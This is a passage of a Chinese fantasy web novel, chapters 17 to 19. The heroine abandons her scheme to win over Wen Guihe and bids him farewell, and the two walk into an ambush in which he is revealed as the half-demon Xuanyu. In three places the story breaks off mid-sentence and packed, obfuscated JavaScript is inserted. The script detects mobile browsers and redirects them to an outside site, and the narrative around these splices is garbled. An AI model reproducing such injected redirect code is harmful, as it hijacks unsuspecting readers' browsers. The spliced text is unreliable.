闻归鹤静坐良久,不肯回头:“苏姑娘呢,知道我是何种人了么?” 还打算继续对他下手吗? 没有回应。 僵宁许久,少年回头,又唤了句。 “苏姑娘?” 唯有木门轻轻合上,放任油灯继续燃烧。 走了? 闻归鹤疑惑又茫然,一时失态。 她为何要走? 难得他态度松缓,无论是欲擒故纵,还是乘胜追击,她都不该走。 少年披衣而起,走到窗前。颀长身形弱不胜衣,如墨无法披散而下,更显面色不似常人。 窗外已经没有人了。 闻归鹤半仰起脸,任由冷冽的秋风打在脸上。睫毛如同垂死的蝴蝶耷拉,朱砂痣像一滴凝固的血,血管在薄薄肌肤下若隐若现,好似件易碎的青瓷器。 他闭上双目,眼前又一次浮现睁眼时,模模糊糊看到的那道倩影。 他苏醒前,她一直,都在那儿守着吗…… 纪真阁,果然敬职敬业,兢兢业业。 指节无意识地在窗棂上敲击,一下又一下。 过了不知多久,少年缓缓睁眼。修长的手指攥紧窗棂,骨节泛白。目光越过窗沿,投向那片寂静的夜色。 她何时才会把信交给他。 那封早早写好,言辞恳切,满纸荒言的投诚信。 他想要她的信。 夜近子时,天边黑色的云朵缓缓飘走,落在苏时悦眼底,倒映出阵阵涟漪与波纹。 她想到了没有和闻归鹤说的事,一件对于闻归鹤而言轻如鸿毛,对她却重如泰山的事。 星光静默,汇流成河,顺利安抚她的思绪。 苏时悦握了握腕上珠串,慢腾腾地。 从袖管取出投诚信。 犹豫片刻。 撕个粉碎。 17.第 17 章 撕第一下时,心在滴血,感觉自己的美好未来正在不断远去。 第二下,一股畅快席卷全身,让她几欲落泪。 接着,她越撕越快,越撕越轻松。 当空往上一抛,泛黄纸屑金雪般洋洋洒洒落满全身。 苏时悦嘴角上扬,露出抹轻松快意的微笑。 她的死缠烂打计划,结束了。 闻归鹤并没有排斥她,甚至在逐步接纳她。只要持之以恒,苏时悦肯定能达成最初目标。 ——鞍前马后,苟全性命。 但苏时悦不是一个合格的同伴。 她会带来麻烦,也会带来灾祸。 闻归鹤一直保护她,带她全须全尾地来到越州城,为她挡下刁难,带她引荐此城领兵。却对自己狠厉无比,视性命为草芥。 一旦意识到闻归鹤对自己的轻视,他为她做的那些保护,又变沉重了几分。苏时悦越想,就越被压得喘不过气。 说她道德感太强也好。 说她惺惺作态也罢。 讨好闻归鹤,抱大腿求生的计划,苏时悦做不下去。 虽然不知还剩几日时间相处,但她会在分别时告知闻归鹤有关玄玉的事。哪怕他当自己在胡言乱语,至少也可以提及警惕。之后,她会按照莫言阙的指引,去云州探探运气。 如果能活到正月十五开验灵脉的日子,她说不定还能拿个修士的身份牌,边打工赚钱,边琢磨回家的路。 至于这封充实着胡言乱语的信,闻归鹤看过又如何?那是她一个阴暗的小秘密,如今证据被销毁,只要她不主动挑明,谁能证明它存在。 望着飘满衣摆的纸片,苏时悦失笑,笑声清亮,恍若银铃。 她这样,总算能算得上光明磊落。 星光如水,静谧而祥和。很快,小姑娘摸到庭院工具房,取过畚箕,灰溜溜蹲下身,指尖凝出丝线,一下一下,收拾着满地狼藉。 苏时悦操纵丝线收集地上的残片,练习细致入微的能力。可左思右想,也没琢磨自己能力的实用之处。直到磕磕绊绊把碎纸片都收集起,还是没想出个所以然。 莫言阙说,她想回家,就要从某东西手中虎口夺食。眼下的能力,怎么想都无法达成目标。 但,成长的方向,不一定非要走一力破万法的道路。 苏时悦收拾完纸片,原地转了一圈,抬手,指尖蓝色丝线系上床头,拉直拽进。 而后双脚离地,轻盈起跳,迅速收束。 咚—— ——砰! 苏时悦撞到床头板,抱头在床上滚来滚去,笑个不停。 谁说没有攻击力,天赋便华而不实,这不是很有用嘛。 想到灵丝的用途,苏时悦翻来覆去睡不着,直到旭日东升,还精神得很。 把同样一宿未眠,担心苏时悦受惊来看她的容枝桃吓了一跳。 “你,你这是……”容枝桃推门就见苏时悦仰面朝天,没精打采地倒在床上,把所有让苏时悦难过的事想了一遍,最终试探着询问。 “有人欺负你?” 苏时悦顶着黑眼圈翻身:“啊?没有。” “我只是在想,一个人闯荡江湖需要什么?”她翻身而起,两手托住面颊,“我最近练习操控灵力时,有画出些五行符成品,如果卖了换钱,确实能顶一段时间。但修士与普通百姓不一样吧?想要加快修行脚步,就连最下品的丹药也得花重金购买。” “等等,等等,你怎么突然想一个人离开?”容枝桃意外地上前,在她床边坐下,“我怎么记得,你最初是打算一直跟着闻公子的?” 她还记着苏时悦不遗余力为闻归鹤说好话,上蹿下跳想要拉近关系的模样。 苏时悦面露踌躇,点头:“一开始是这样没错,但我改了主意。” “是不是你发现了什么?还是他昨晚有古怪的举动?”容枝桃眸光一凛,“他莫非与昨晚的大火有关——” “别瞎说,昨晚我一直在照顾他,能为他做不在场证明。”苏时悦捂住她的嘴,“我也早就看出来了,桃桃不满闻归鹤久矣,全因为我才一直忍耐。” 容枝桃被戳中小心思,眼珠子往一边转,在苏时悦掌中闷闷地“嘿嘿”两声,去擒她的手腕。苏时悦不肯放手,顺势去挠她。容枝桃有意让她,两人滚到床上,嘻嘻哈哈揉成一团。 容枝桃道:“不瞒你说,我确实觉得他很奇怪。可论心世上无完人,更不用说他帮过你,救过我,无可指摘。” 莫言阙给了她回信,告知她闻归鹤对苏时悦没有恶意,且保护的想法比控制多。虽然没有完全解答她的疑惑,至少让容枝桃放一半的心。 剩下一半仍悬着。 苏时悦不想让容枝桃担心,没把自己的特殊之处说出去。可忧虑确实实打实的,她苦恼地揪了揪头发:“他对我很好,但怎么说呢,我觉得一直跟着他也不是个办法。” “昨天他中毒后,我犹豫了很久,还是决定与他分道扬镳比较好。”她低声道,转头,就看见容枝桃绷着脸,一副想笑又不敢笑的模样。 “怎、怎么了?”苏时悦莫名其妙。 容枝桃捂嘴,乐不可支:“大概是见到了只不懂审时度势的呆鹅,放着眼前的利益不要,硬要去闯刀山、下火海,可怜又可爱。” 苏时悦脸一红,又听她说:“留在容府如何?越州城不止有我,还有领兵,只要城在,总能护得住你。” 苏时悦想也不想就拒绝:“多谢好心,但我已经有了接下来的规划。莫领兵为我介绍了一位云州的朋友,我打算去那儿投奔他。” “原来如此。”容枝桃没有勉强挽留,喃喃自语,“老师已经为你规划目的地。云州距此处有四百余里,骑马的话,约莫需要一旬光景。” “既然是老师的建议,肯定对你有利,我肯定赞成。”容枝桃从床边弹起身,站稳脚跟,兴致勃勃地策划,“这样好了,出发前,我会为你准备好财帛、衣物,还有马车、随从。” “你再想想缺什么,直接和我说。虽说容家乱得要命,这些身外之物,还是给得出的。” 苏时悦惊讶于她的热情,顿时不好意思起来:“这怎么可以,我白吃白住那么久,如何能再用你的东西。” 容枝桃瞪了她一眼:“我的悦悦,你只说闻归鹤对你有多好,可你对我也有救命之恩,总该给我报答的机会吧。我认你是我的朋友,未来若有困难,只管来找我,我必会倾力相助。” 苏时悦被她逗笑:“……那,送我匹马吧。” 容枝桃也笑了起来。 她还有许多事要完成,无法久留。喊来侍女,带她去马场。 许是意识到自己很快要把苏时悦送走,容枝桃留在厢房,心中不免有些惆怅。合上大开窗门,若有所失地在房间中转悠一圈。 还是有些担心…… 她和老师都无法离开越州,就算派遣其余人保护,也难保忠心。可她孤身一人,在妖邪横行、危机四伏的虞境行走,实在让容枝桃担心不已。 容枝桃思来想去,无比悲哀地发现,让苏时悦跟着闻归鹤,是最安全的手段。 最开始,苏时悦肯定也是这般想法,才会努力在她面前维护他。可这丫头怎么突然良心发现,不干了呢? 门外风铃响,才重新回到未来家主的角色,整容拉开门扉。 不期然与门外的闻归鹤四目相对。 容枝桃:“闻公子?” 闻归鹤神色僵硬,似是只刚化形,无处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15369356|167968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可去的畜生。他苍劲手骨微抬,似是想要敲门探户,见到容枝桃,亦是惊讶,最终收敛神色,压下眉眼。 他道:“我来寻苏姑娘。” 容枝桃:“她不在这儿。” 她想问他找苏时悦作甚,又听闻归鹤道: “也好,我亦有事要寻代家主。” 闻归鹤:“连日叨扰,已是不敬,昨日更是因身体不适给代家主添了麻烦。如今已然大好,此次前来,是为辞行。” 容枝桃:“啊?” 她好不容易对闻归鹤观感变好,怎么一个、两个,都突然要走。 容枝桃与闻归鹤算不得相熟,闻言简单一点头,打算应允。话到嘴边,却突然想到另一件事。 老师信中语焉不详,却又一句话写得无比透彻。 闻公子是在乎苏姑娘的。 “闻公子要走,那苏姑娘呢?你们是一起来的,莫非也要一起走?” 闻归鹤几不可查地皱了皱眉。 碍于承伤咒,他必须与苏时悦同行。这几日下来,他虽不再排斥,却一直未曾等到苏时悦主动递交书信。 同行之事,无法落实。 若她的目标是他,他准备离开此地,她总该有所反应。 “此事,还需问苏姑娘的打算。”少年轻抿泛白嘴唇,不动声色。 容枝桃抽了抽嘴角。 刚认识时,她怎么不记得他这么在乎苏时悦的想法? “她在马场,说是要练习骑马。”她合上门,“今日是祝酒节,街上张灯结彩,笙歌载舞,苏姑娘流连集市,不回来了也说不定。” “是么。”闻归鹤口吻平淡如初。 身子右转,抬脚往马场走去。 容家的马场,设立在宅院外的空地,圈地数里,地势开阔平坦,灵兽、骏马应有尽有。 苏时悦嘴巴微张,挨个儿看过去,还在马厩中看到一只七彩凤雀。她没见过这么漂亮的鸟,和它大眼瞪小眼半天,才恋恋不舍地去选最简单务实的马匹。 只一眼,看见了马槽最外面那只被铁锁捆着,垂头丧气的黄骠马。 苏时悦见它眼熟:“它是先前鹤公子乘过的那匹吗?” 侍从连忙应答:“正是。此马被送回后,我等对它进行调查,发现没有其他人为下手痕迹,正准备处理它。” 苏时悦察觉异样:“处理?” “回禀苏姑娘,畜生伤人,又惊扰姑娘。”方脸侍女忙行礼,“依照规矩,打死便可。” 苏时悦问:“就算是被人设计也不行吗?” “是,这是规矩。” 苏时悦于心不忍:“那便给我,如何?” 侍从互相对视一眼:“代家主说过,请姑娘随便挑选。姑娘若是喜欢,可以试试看。” 侍从把马牵了出来,苏时悦上前,顺势拽住马缰绳。有了第一次的经验,她的动作熟练很多,可黄马却像是背上炸药包般,往前猛冲好几步,一副要甩开骑手的模样。 苏时悦一只脚刚踏上马镫,被它挂在半空,急道:“我是在救你,笨马,你这匹笨马!” 黄马像是发了疯,不停嘶叫,马蹄高高扬起,欲将背上之人摔下。 苏时悦身形骤然腾飞至半空,两条细线自指尖始,牢牢系紧马脖子。银蓝色的丝线藕丝般粘着奔马不放,她全神贯注地操纵灵力,双臂较劲,生生把自己拽回马背。 黄骠马一计不成,打算再颠,双蹄还未抬起,忽然全身僵硬。 不远处,闻归鹤手扶木栏,阳光透过缝隙播撒,阴影斑驳地落在脸上。 他静静地看着奔腾的飞马,瞳孔中仿佛一汪深邃古井,波澜不惊。 眼神却极其可怖。 好似看砧板鱼肉。 18.第 18 章 “南城空旷近水,秋季一旦到了晚上,湿气一起,城郊便没多少人,简直是天时地利人和并重。” 南坊醉仙楼,白衣童子呷吧着酒水,好整以暇地俯视街市。他的视线从朱雀大道始,纵览布置在南坊角落的天绝阵。 他挑挑眉:“适合杀人。” 容文赋带着七八名修士,坐在餐桌对面:“多谢妖使相救,助我等脱离容府。陛下指使我等除尽闻氏,如今眼看时限将至,却凭空冒出知晓内情的人来,还请妖使助我等斩草除根。” 说着,狠狠往下瞪了一眼。 长老瑟瑟发抖,跪在桌下。 “不必责难。”童子乐呵呵的,“是我不好,在他面前夸耀暗算那名公子的计划,惹得他担惊受怕,剑走偏锋。” 童子道:“幸好只是下毒失败而已,此次杀阵,有神印与二当家双管齐下,定能将闻氏子斩草除根。” 容文赋这才松了口气:“如此,便拜托妖使了。待尔等为我杀死闻氏遗孤灭口,我立刻为你们伪造假身份入城。” “对了,事成之后,可否让我见见你们的公子?”他显然对妖族非常满意,“日后的合作,还需他的助力。” 童子脸上神情并无波动,纵使被捧上高台,依然笑眯眯品酒:“放心。” “今晚你就能见到他。” 容文赋只觉大势已定,悬着的心放下,见童子面露不耐之色,朝包厢深鞠一躬,带人退出。 童子往后一仰,烧掉记录台词的小册子,继续吃菜。动作越来越快,在包厢中风卷残云。 人类的食物真好吃,好容易进城一趟,肯定要大吃大喝尝个痛快。 公子不在,没人管他,就是开心。 美美享用一顿大餐,他往后一倒,就地翻滚,化作一只雪白的乌鸦。大腹便便摇摇晃晃地走了两下,自窗口飞出,东倒西歪朝西城容府飞去。 而容府外的马场中,氛围则尴尬至冰点。 奔马像是明白自己闯了祸,轻柔嘶鸣几声,不知所措地低下头,尽可能缩小自己的身子,马鼻不安地抽动。 闻归鹤若有所思地看着它,无声迈步接近。 四周寂静无声,只余马场围栏旗帜猎猎作响。 很快,苏时悦声音响起,打破难熬的沉默:“这才乖嘛,刚刚是怎么了,仿佛突发恶疾。” 全靠灵丝,她还好端端地坐在马背上,没被摔下去。 她见黄马昂首,忍不住朝它目光方向看去,一眼看到熟悉的人影。 “鹤公子。” 她惊讶出声,当下翻身而下,朝他小跑过去。 “怎么不歇着,可有服药?身子还难受吗?”哪有人昨天还在吐血昏迷,今日一副什么事都没发生的模样出行。 少年换了身银纹黑袍,长身细腰,金质玉相:“苏姑娘在做什么?” “嗯……挑选坐骑。”苏时悦笑盈盈答道,“我是救了容枝桃才进入越州城,如今诸事皆定,我也该离开了。容枝桃心善,赠我马匹,于是我来马场选马。” 她随手挽上缰绳:“之前这匹马可疯了,上蹿下跳,结果鹤公子一来它就好了,我都没法和你抱怨。” 闻归鹤:“为何是这匹?” “因为我来时,听说意欲伤主之马会被处死,”苏时悦瞅瞅黄马,又张了张闻归鹤,“鹤公子,它已经受罚了,您千万别记仇。” 闻归鹤失笑:“我并非小肚鸡肠之人。” “英姿勃发,是匹好马。”他端详坐骑,评价道,“选一副好马具,能连行七日而不疲。” 苏时悦也跟着笑起来,摇头似拨浪鼓:“别别别,我是选坐骑,不是万恶的奴隶主。” 苏时悦:“鹤公子呢?来马场做什么,又要出门吗?” 她还是觉得多歇会儿好。 闻归鹤道:“诚如姑娘所言,留下并非长久之计。我打算今晚便离开容府,远离多事之地,特来与姑娘道别。” 苏时悦一愣:“这么,早?” 她还以为闻归鹤身子不适,至少也要休息好几日才离开。没想到,分别的时间这么快便到来了。 闻归鹤点头:“我已向容姑娘请辞。” 少年心中百转千回,面上浅笑,“可巧,今日是祝酒节,我早早抽身,也免得让容氏一族费心招待我。” 苏时悦神色略显黯淡,很快再度展颜:“既然今日就走,鹤公子临行前,我能邀请你吗?” 闻归鹤微微侧脸,掩住发亮的瞳孔:“为何?” 苏时悦的话说出口,整个人轻松不少:“我们这一路,也算相携而行。公子帮了我良多,如今要走,我肯定得送一程。” 她绕着黄马转圈:“我去问容姑娘借一套马具代步,免去公子的辛苦。我近日绘出很多五行符,换了银两,就由我来招待公子吧。” 只要不逛那些修士的摊位,苏时悦的钱袋子便绰绰有余。 她一脸兴奋地提议,心中七上八下,生怕闻归鹤拒绝。掌心绕了好几圈缰绳,勒出好几道印子也没发现。 闻归鹤微微一笑:“如此甚好,就依姑娘。我在东城锦绣巷等姑娘,不见不散。” 苏时悦眉开眼笑:“那说定了,我先去准备,吃过晚饭戌时见。” 她朝闻归鹤用力挥手,反握住缰绳,牵马想走,忽地想起还不知道怎么称呼这匹马。 她记得为了辨识身份,马场会给每匹马起一个名字。 苏时悦扭头想问侍从,才发现他们已不知何时离开,约莫是顺应天时过节去了。 只得请教闻归鹤: “公子知道这匹马叫什么吗?” 闻归鹤与她肩并肩走着,平地宽阔,枯草被踩得沙沙作响,劲风一往无前,将两人的袖口卷至一起。 闻归鹤:“不知,我挑选马匹时,容家侍从并未告诉我它的名字。许是牲畜众多,来不及一一起名,苏姑娘可以自行定夺。” “自行定夺……”苏时悦喃喃,俶尔展颜。 “那我就乱起咯。” 苏时悦不是圣人,还记着自己险些被黄马摔下马背的经历,打算狠狠报复它。 苏时悦摸着下巴,细瞧了瞧黄马巍峨健硕的体态,“哼哼哼”地坏笑。 她在它的后背拍了拍:“好咧,阿黄,咱们走。” 反正动物不通人言,她想喊啥就喊啥。 黄骠马目瞪口呆,恨不得当场撅蹄踹回去。 闻归鹤察觉异样,阴冷的目光即刻扫了过去。 黄马如丧考妣地屈服,被苏时悦拽出马场。苏时悦还想骑它,它也乖乖配合,尽显懂事。 苏时悦骑着它走了几圈后,见黄马听话,忍不住夸了几句。 “阿黄很棒,如果一直这么乖,我可以给你换个名字哦。” “琥珀,怎么样?” 苏时悦凑近几分,看着它的眼睛,“我才发现,你是棕瞳。好漂亮的眼睛,和琥珀一样。” 黄马似乎极通人性,听到苏时悦的话,当即抬头,双目炯炯有神地看向她。 苏时悦神气活现:“当然,不听话的时候,还是得喊阿黄!” 黄马:“……” 它不再搭理苏时悦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“此前越州府时,我曾与公子说过,我听说过玄玉。可我还听说过,玄玉恨极了公子,一直想要杀死您。若是遇见一名白发红瞳的半妖,还请千万小心。他爱穿红衣,使得细长银玉剑,还喜欢戴各种各样的面具吓人。” “要是可以,希望公子日后广结善缘,与友人结伴出行,莫要落单,让妖邪得到机会。” 苏时悦一股脑儿把设定集中有关玄玉的细节全说了出来,原地喘了口气,伸手进袖筒取木盒。 闻归鹤入木桩子般站在原地。 看到木盒,波澜不惊的笑容维持不住,缓缓凝固。 “这些是我准备的膏药,有活血镇痛的功效,本该在昨日给公子,谁知遇上特殊情况。”苏时悦道。 她一手牵马,一手捧盒。步步向前,收起所有的小性子,声音清润得像颗露珠。 闻归鹤盯着她含笑的目光,后退一步,面上表情龟裂,声音头一次微微颤抖。 “姑娘,何意?” 苏时悦愣了愣,随即牵起嘴角,把木盒强行交到他手中:“这是我的谢礼,虽然微不足道,但也请鹤公子收下。” 她带着淡淡的不舍后退一步,朝他行礼。 “鹤公子。” 霭霭香烟,氤氲遍地,明媚灯光将少女裹挟。雾气浓郁,佳子朦胧,芊芊剪影好似溪畔含苞待放的夏荷。 “一路顺风,有缘再会。” 19.第 19 章 月落星沉,喝醉酒的诗客吟唱歌谣,琉璃杯不慎滑落,摔出响亮脆响。 落在闻归鹤耳中,化作轻微耳鸣。 “我记得,苏姑娘曾说过想要与我同行。”他坚持不提苏时悦写下的那封信,话语却染上了三分羞恼。 苏时悦细细回忆一番:“确有此事。” 她很快补充:“但我说的是共赴越州城,咱们已经到达目的地,而且修整完毕,我的愿望不就圆满达成了么。” 她偷眼瞧去。 闻归鹤默默看着她,唇角压得平直,眉宇蹙起,像笼上层阴云。 “是吗?” 孩童的欢闹声远去,只余少年清润谦和的嗓音。 苏时悦心虚道:“是啊,我可什么都没说,什么都没做。” 反正书信已经被毁尸灭迹,他那么聪明,应该猜得到她弃恶从善,放弃原定计划了吧? 事态的发展略出乎她预料。 闻归鹤似乎没打算那么轻易放过她。 “在商队危机解除后,仍向我示好,为什么?” “因为鹤公子做的的确是好事。” “在马蹄下救我,为什么?” “看到了就出手了啊。” “那颗解毒丹,你不会有机会取得第二颗,为什么给我?” 苏时悦手足无措:“当是紧急情况,我就给了,哪有为什么?” “所有的一切,只是因为,帮扶?”背后有马车打着灯笼疾行而过,闻归鹤探掌,接住苏时悦透过灯光照下的阴影。 拳头倏地握紧,苍白的手腕上,蓝色的血管若隐若现。 “是啊。”苏时悦噙着口银牙,笑吟吟。 她见他脸色有些难看,关切问:“鹤公子,要是不舒服,回容府如何?” 闻归鹤咽下口中的铁锈味,竭力展颜:“无事,只是当日时间太少,未能,解惑。” 他连着后退,躲进墙根,借阴影藏住耳廓因自怨而起的红痕。 他彻底认清眼前人的性情。 单纯稚嫩,易接近。 一想到他曾费尽心机与她周旋,热浪便止不住往脸上窜。 愚不可及,蠢钝如猪。 闻归鹤这个身份,如此腌臜货,还是死了比较好。 待改头换面接近,他定能将她握在股掌之间。 “姑娘再送我一段路吧。”决定抛弃身份后,闻归鹤紧拧的眉头总算松了松。 苏时悦见他情绪缓和,也跟着开心起来。她一身轻松,牵马迈过东街的灯会,步入南市,走上出城的长道。 穿过朱雀大道,来到南城时,苏时悦忽然感觉有些不对劲。 她少时能见妖鬼,半步入道后,对灵力的感知更上一层楼。越州城有许多修士,平日便灵力四溢,但此时此刻,南城的灵力仿佛达到一种难以企及的高度。 像是有人刻意画下大阵,守株待兔。 闻归鹤恍若无知无觉,苏时悦果断停步。 “鹤公子,别再往前走——” 她出声警告,可话刚说到一半,一声轰鸣炸开。 漆黑一片中,整整二层的醉仙酒楼在巨震中晃了几下,歪歪斜斜朝两人倒来。狂风吹得发丝乱舞,桌椅、杯盘纷纷从窗口跌落。 苏时悦只来得及祭出灵丝,一面灵力屏障推出,在不停砸落的砖石土瓦中护住她。 “小心。”她在“哐哐当当”的震响中,清晰地听见闻归鹤的安慰。 苏时悦意识到不妙,一把拽住他的袖子:“快走,我们回容府。” 闻归鹤之所以能用中毒搅乱容家局势,是由于那些人本就想对他动手,他才有机可乘。 没想到他即将离开时,他们竟会铤而走险在城中杀人。 “躲过去了?”容文赋从拐角处御剑转出,手中捧着一只金印,印下悬浮一面荧光闪烁的金色阵盘。 地面上符文亮起,以醉仙楼为中心点,一道道灵力如灵蛇般蜿蜒游走,迅速汇聚。 容文赋身后跟了十数名修士,皆借由法器腾空。 他颇为遗憾地叹息:“无论是马还是毒药,都只差一点点,我还以为随便出手就能解决战斗。没想到,你的命还真是大。” “别怨我。”金色阵盘不停旋转,带起呼啸的灵力之风。 容文赋勾起唇角,语带嘲弄:“要怨就愿你们家族知道不该知晓的秘密,只能变成死人。” 苏时悦才不听他说废话,极力地自救。 她试图用灵丝捆住南城最外侧房屋的檐角,可灵丝在黑暗中光芒四射,太过显眼,尚未有下一步动作,容文赋的目光飘来。 “这位姑娘,想带着情郎跑吗?没那么容易。”容文赋还记得苏时悦,他恼她指认她是下毒之人,愈发不客气,“现在跪下来求我,我倒是能让你们做一对亡命鸳鸯。” 苏时悦额头冷汗直冒。 原著中,闻归鹤是安全离开越州城的,可她不知自己的穿越会掀起怎样的蝴蝶效应,会不会反而害了闻归鹤。 苏时悦正欲战战兢兢地回头,想看闻归鹤的脸色,忽然发现自己动弹不得,只剩一张嘴和眼珠子可以自如行动。 “鹤公子?”她瞟向点了自己穴位的少年。 “抱歉了,把苏姑娘牵扯进来。”闻归鹤的笑容神秘莫测,靠在墙边。 他看向容文赋,声音冷冽:“放过与此事无关之人,我任杀任剐。” 容文赋不信:“你在说笑吧?谁不知道你在入越州城曾大开杀戒,屠了半支商队。想让我大意,回去搬救兵?痴心妄想。” 闻归鹤咳了两声:“二当家若守约,我可以毁去所有灵符。” 他顿了顿,又祭出灵符:“可若你质疑杀伐,不放过无辜者。池鱼亦可破网,兔子尚能蹬鹰。” 事情发生的太快,苏时悦难以置信地转眸看他。 苏时悦:“鹤公子,您在说什么……” 容文赋:“可以。” 抓捕容枝桃时,容文赋给李硕的捆仙索货真价实,却被闻归鹤变为破铜烂铁。 他也忌惮着这名年纪轻轻的少年。 容文赋唤出剑灵,朝闻归鹤一指,金色剑灵直冲他飞去。 少年如约取出身上的所有灵符,拿在手中。剑灵靠近,灵光阵阵在他身边盘旋,朝主人示意闻归鹤身上已无符纸的气息。 “我说到做到。”容文赋大手一挥,示意两旁修士让开,“那个小丫头,逃吧,我不杀你。” 闻归鹤方才松了口气,含笑朝苏时悦道:“拖累姑娘,我很抱歉。” 苏时悦僵硬着瞪他。 闻归鹤偏头思索片刻,取出枚小型玉扳指,套到她手上。 “这是护身法器,内有屏障,可在你遭遇危险时护你无恙。” 做戏做全套,最后一刻,闻归鹤的声音前所未有得温柔:“别了,苏姑娘。” 苏时悦说不出话,只能直勾勾地盯着他。她无力反抗,任他将自己扶上马背,意味深长地拍了拍黄骠马,撒手回身一挥。 黄马一声嘶鸣,如离弦之箭般飞奔,朝朱雀大道奔去。耳畔风声大作,卷着她散乱的墨发拍在脸上,耳边传来不成句的话语。 “苏姑娘……” “……祝您福运亨通。” 身后响起光矢破空声,似有万箭齐发。 苏时悦想骂人。 开什么玩笑? 她就这样被人以命换命,逃出生天?别和她说山人自有妙计,闻归鹤最后的表情,分明是做好死别的准备。 指节因愤怒而颤抖,她的心脏跳得飞快,牙关咯咯作响。极度的不甘中,体内为数不多的灵力反而被调动,在经脉中翻腾。 身体像被赤焰燎绕,又烫又痛,苏时悦紧咬嘴唇,硬撑着没说话。 动起来,必须动起来。勒住缰绳,拨马回头。 来不及去容府搬救兵,她要回去。 她的乾坤囊中装着符纸,好大一沓! 南城废墟前,容文赋慢条斯理地销毁剑灵带来的各阶灵符。 “去,把那个丫头解决。” 灭口所有与玄玉之事有关的人,是圣君的口谕。哪些人与玄玉之事有关,却是由容氏容氏决定。 “符修没有灵符,与废人何意?”容文赋嘲弄着夹起张符纸,用朱笔随手画了个最低等的攻击符。 身前少年眸光深邃,黑色长袍迎风轻柔晃动。他缓缓抬手,搭上头顶白玉发簪。 玉簪脱落。 三千青丝同时垂下。 “二当家!”惊呼声猝然响起。 一轮月光袭来,在容文赋回过神来前,细剑贯穿纸面,如暴雪飞霜,笔直刺入他的眼眶。 半妖长发如血,身形缥缈,衣裳绘有流动的红枫游鱼。 他二指捻着张雪白面具,殷红鲜血飞溅其上,不曾污染清冷超然的面庞。 “啊——你——” 惨叫声中,容文赋难以置信地睁大独眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她尚未开口,但闻归鹤确信,她认识自己,也认出了自己的身份。 她回来了? 为何要回来? 告别时,他已经明确与她展示回来的结果—— 死路一条。 胸口的烽火烈焰剧烈跳动,闻归鹤站在尸山血海中,面具下的身神情只余愣怔。 很快,他缓和下眉眼。 也好。 这样的相遇,正是闻归鹤需要的。 只要胸口的火焰在跳动,闻归鹤便可作为玄玉现世。既然她遇上她,不如用当下这个身份,将想要的答案一一问明。 “你是何人?”他稳住遮面之物,淡淡问道。 苏时悦浑身发抖,好容易拽着马鞍站稳,腿肚子还抖个不停。 她绝没有想过会在此刻遇到玄玉。 一看见他,原著对他的描写便争先恐后地奔入脑海。 天都的杀手,圣君的走狗,故事最后引发浩劫的魔头。 她该说什么?假装自己是无关路人,他会放过她吗? 在玄玉眼中,她和眼前七倒八歪的残肢碎尸,有何区别? 半妖看着似是透过面具看她,片刻后,仿佛失去耐心,径直朝她走来。 苏时悦转身想逃,刹那间,绯红身影已来到近前。他长臂一伸,不客气地将她圈在怀中。 微微俯身。 明明看不见,苏时悦却能清晰地感知到,他面具背后的眼睛闪过血红光芒,独属于玄玉的法阵浮现在他的眼底。 “说吧,来此作甚。” 设定集中,有关玄玉的部分清晰地标明,半妖有一双血瞳,瞳术为“辩真”。 中术之人,如临溪照影。 诸般虚妄,无所遁形。 大音希声,苏时悦的世界安静下来,无边的寂寥中,只有无数句问话纷至沓来。 她知道自己中了瞳术,垂下长睫,咬紧牙关,做最后抗争。 而后,在他的操纵下,在千夫所指般的桎梏中,抬起头,腰背挺直。 “鹤…闻归鹤……” 她用能发出的最大声音,带着哭腔。 “闻归鹤在哪?” “你把他怎么样了?魔头!”